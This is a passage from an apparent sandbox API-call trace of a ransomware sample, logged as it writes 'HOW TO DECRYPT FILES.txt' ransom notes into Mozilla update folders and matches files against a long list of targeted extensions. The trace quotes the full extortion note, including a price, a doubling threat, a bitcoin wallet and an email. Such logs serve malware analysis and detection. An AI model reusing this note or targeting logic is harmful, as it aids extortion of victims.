wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.369] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="update.mar") returned -1 [0086.369] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="update.mar") returned -1 [0086.369] lstrcmpiA (lpString1="", lpString2="update.mar") returned -1 [0086.369] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*") returned="*.*" [0086.369] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" [0086.369] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\") returned="" [0086.369] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt" [0086.370] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\how to decrypt files.txt")) returned 0xffffffff [0086.370] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.371] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.371] WriteFile (in: hFile=0xa0, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.373] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.373] CloseHandle (hObject=0xa0) returned 1 [0086.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpString2="update.mar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" [0086.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.ems") returned 0 [0086.374] lstrlenA (lpString="*.ems") returned 5 [0086.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.db") returned 0 [0086.374] lstrlenA (lpString="*.db") returned 4 [0086.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.dbf") returned 0 [0086.374] lstrlenA (lpString="*.dbf") returned 5 [0086.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.myox") returned 0 [0086.374] lstrlenA (lpString="*.myox") returned 6 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.myo") returned 0 [0086.375] lstrlenA (lpString="*.myo") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbw") returned 0 [0086.375] lstrlenA (lpString="*.qbw") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbb") returned 0 [0086.375] lstrlenA (lpString="*.qbb") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbm") returned 0 [0086.375] lstrlenA (lpString="*.qbm") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbo") returned 0 [0086.375] lstrlenA (lpString="*.qbo") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbx") returned 0 [0086.375] lstrlenA (lpString="*.qbx") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qba") returned 0 [0086.375] lstrlenA (lpString="*.qba") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qby") returned 0 [0086.375] lstrlenA (lpString="*.qby") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qbj") returned 0 [0086.375] lstrlenA (lpString="*.qbj") returned 5 [0086.375] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.ofx") returned 0 [0086.375] lstrlenA (lpString="*.ofx") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.qif") returned 0 [0086.376] lstrlenA (lpString="*.qif") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.mye") returned 0 [0086.376] lstrlenA (lpString="*.mye") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.mbox") returned 0 [0086.376] lstrlenA (lpString="*.mbox") returned 6 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.eml") returned 0 [0086.376] lstrlenA (lpString="*.eml") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.pst") returned 0 [0086.376] lstrlenA (lpString="*.pst") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.ost") returned 0 [0086.376] lstrlenA (lpString="*.ost") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.idx") returned 0 [0086.376] lstrlenA (lpString="*.idx") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.dbx") returned 0 [0086.376] lstrlenA (lpString="*.dbx") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.sql") returned 0 [0086.376] lstrlenA (lpString="*.sql") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.mdb") returned 0 [0086.376] lstrlenA (lpString="*.mdb") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.fdb") returned 0 [0086.376] lstrlenA (lpString="*.fdb") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.wab") returned 0 [0086.376] lstrlenA (lpString="*.wab") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.dat") returned 0 [0086.376] lstrlenA (lpString="*.dat") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.txt") returned 0 [0086.376] lstrlenA (lpString="*.txt") returned 5 [0086.376] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.jpeg") returned 0 [0086.377] lstrlenA (lpString="*.jpeg") returned 6 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.jpg") returned 0 [0086.377] lstrlenA (lpString="*.jpg") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.png") returned 0 [0086.377] lstrlenA (lpString="*.png") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.php") returned 0 [0086.377] lstrlenA (lpString="*.php") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.cs") returned 0 [0086.377] lstrlenA (lpString="*.cs") returned 4 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.cpp") returned 0 [0086.377] lstrlenA (lpString="*.cpp") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.rar") returned 0 [0086.377] lstrlenA (lpString="*.rar") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.zip") returned 0 [0086.377] lstrlenA (lpString="*.zip") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.html") returned 0 [0086.377] lstrlenA (lpString="*.html") returned 6 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.htm") returned 0 [0086.377] lstrlenA (lpString="*.htm") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.xlsx") returned 0 [0086.377] lstrlenA (lpString="*.xlsx") returned 6 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.xls") returned 0 [0086.377] lstrlenA (lpString="*.xls") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.mp4") returned 0 [0086.377] lstrlenA (lpString="*.mp4") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.ppt") returned 0 [0086.377] lstrlenA (lpString="*.ppt") returned 5 [0086.377] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.pptx") returned 0 [0086.377] lstrlenA (lpString="*.pptx") returned 6 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.doc") returned 0 [0086.378] lstrlenA (lpString="*.doc") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.dot") returned 0 [0086.378] lstrlenA (lpString="*.dot") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.docx") returned 0 [0086.378] lstrlenA (lpString="*.docx") returned 6 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.7z") returned 0 [0086.378] lstrlenA (lpString="*.7z") returned 4 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.tar") returned 0 [0086.378] lstrlenA (lpString="*.tar") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.bz2") returned 0 [0086.378] lstrlenA (lpString="*.bz2") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.gz") returned 0 [0086.378] lstrlenA (lpString="*.gz") returned 4 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.mkv") returned 0 [0086.378] lstrlenA (lpString="*.mkv") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.eml") returned 0 [0086.378] lstrlenA (lpString="*.eml") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.msg") returned 0 [0086.378] lstrlenA (lpString="*.msg") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.edb") returned 0 [0086.378] lstrlenA (lpString="*.edb") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.accdb") returned 0 [0086.378] lstrlenA (lpString="*.accdb") returned 7 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.odb") returned 0 [0086.378] lstrlenA (lpString="*.odb") returned 5 [0086.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar", pszSpec="*.java") returned 0 [0086.379] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 1 [0086.379] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.379] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="update.status") returned -1 [0086.379] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="update.status") returned -1 [0086.379] lstrcmpiA (lpString1="", lpString2="update.status") returned -1 [0086.379] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar") returned="update.mar" [0086.379] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" [0086.379] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\") returned="" [0086.379] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt" [0086.379] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\how to decrypt files.txt")) returned 0x2020 [0086.379] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpString2="update.status" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status" [0086.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status", pszSpec="*.ems") returned 0 [0086.379] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 0 [0086.379] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.379] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 0 [0086.379] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.380] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x700075, dwReserved1=0x610064, cFileName="updates.xml", cAlternateFileName="")) returned 1 [0086.380] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.380] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="updates.xml") returned -1 [0086.380] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="updates.xml") returned -1 [0086.380] lstrcmpiA (lpString1="", lpString2="updates.xml") returned -1 [0086.380] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*.*") returned="*.*" [0086.380] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" [0086.380] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\") returned="" [0086.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt" [0086.380] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\how to decrypt files.txt")) returned 0x2020 [0086.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\", lpString2="updates.xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" [0086.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", pszSpec="*.ems") returned 0 [0086.380] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x8548e650, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x700075, dwReserved1=0x610064, cFileName="updates.xml", cAlternateFileName="")) returned 0 [0086.380] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 